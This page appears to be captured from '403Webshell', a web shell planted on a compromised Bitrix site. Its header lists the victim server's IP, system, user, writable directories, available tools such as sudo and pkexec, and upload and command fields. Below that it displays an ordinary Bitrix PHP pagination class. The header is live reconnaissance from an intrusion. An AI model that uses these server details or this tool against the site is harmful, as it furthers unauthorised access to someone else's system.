403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/lib/ui/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/lib/ui/pagenavigation.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */

namespace Bitrix\Sender\UI;

use Bitrix\Main\Application;
use Bitrix\Main\UI;

/**
 * Class PageNavigation
 * @package Bitrix\Sender\UI
 */
class PageNavigation extends UI\PageNavigation
{
	protected $sessionKeyName = 'sender_page_navigation';

	/**
	 * Reset session variable.
	 *
	 * @return void
	 */
	public function resetSessionVar()
	{
		if(isset($_SESSION[$this->sessionKeyName]))
		{
			unset($_SESSION[$this->sessionKeyName]);
		}
	}

	protected function setSessionVar($page = 1, $allRecords=false)
	{
		if(!isset($_SESSION[$this->sessionKeyName]))
		{
			$_SESSION[$this->sessionKeyName] = array();
		}

		$_SESSION[$this->sessionKeyName][$this->id] = [
			'page' => $page,
			'allRecords' => $allRecords
		];
	}

	protected function getSessionVar()
	{
		if(!isset($_SESSION[$this->sessionKeyName]))
		{
			return 1;
		}

		if (!isset($_SESSION[$this->sessionKeyName][$this->id]))
		{
			return 1;
		}

		return $_SESSION[$this->sessionKeyName][$this->id];
	}

	/**
	 * Init from uri.
	 */
	public function initFromUri()
	{
		parent::initFromUri();

		$page = $this->currentPage;
		$request = Application::getInstance()->getContext()->getRequest();
		if ($request->get('apply_filter') === 'Y')
		{
			$page = 1;
		}
		if (!$page && $request->get('grid_action') === 'pagination')
		{
			$page = 1;
		}

		if ($page > 0)
		{
			$this->setSessionVar($page, $this->allRecords);
		}
		else
		{
			$page = is_array($this->getSessionVar()) ? ($this->getSessionVar()['page'] ?? 0) : 0;
		}

		$page = $page > 0 ? $page : 1;
		$this->setCurrentPage($page);
		$this->allRecords = is_array($this->getSessionVar()) ? ($this->getSessionVar()['allRecords'] ?? false) : false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit